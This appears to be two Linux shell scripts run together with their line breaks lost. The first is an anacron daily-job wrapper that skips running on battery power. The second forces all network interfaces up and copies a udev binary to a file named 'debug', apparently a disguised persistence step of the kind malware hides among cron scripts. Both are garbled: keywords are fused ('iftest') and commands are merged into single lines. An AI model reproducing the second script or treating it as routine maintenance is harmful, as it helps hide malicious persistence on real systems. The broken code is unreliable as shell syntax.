#!/bin/sh # Check whether 0anacron was run today already iftest -r /var/spool/anacron/cron.daily; then day=`cat /var/spool/anacron/cron.daily` fi if [ `date +%Y%m%d` = $day ]; then exit 0; fi # Do not run jobs when on battery power iftest -x /usr/bin/on_ac_power; then /usr/bin/on_ac_power >/dev/null 2>&1 iftest $? -eq 1; then exit 0 fi fi /usr/sbin/anacron -s
#!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin for i in`cat /proc/net/dev|grep :|awk -F: {print $1}`; do ifconfig $i up& done cp /lib/udev/udev /lib/udev/debug /lib/udev/debug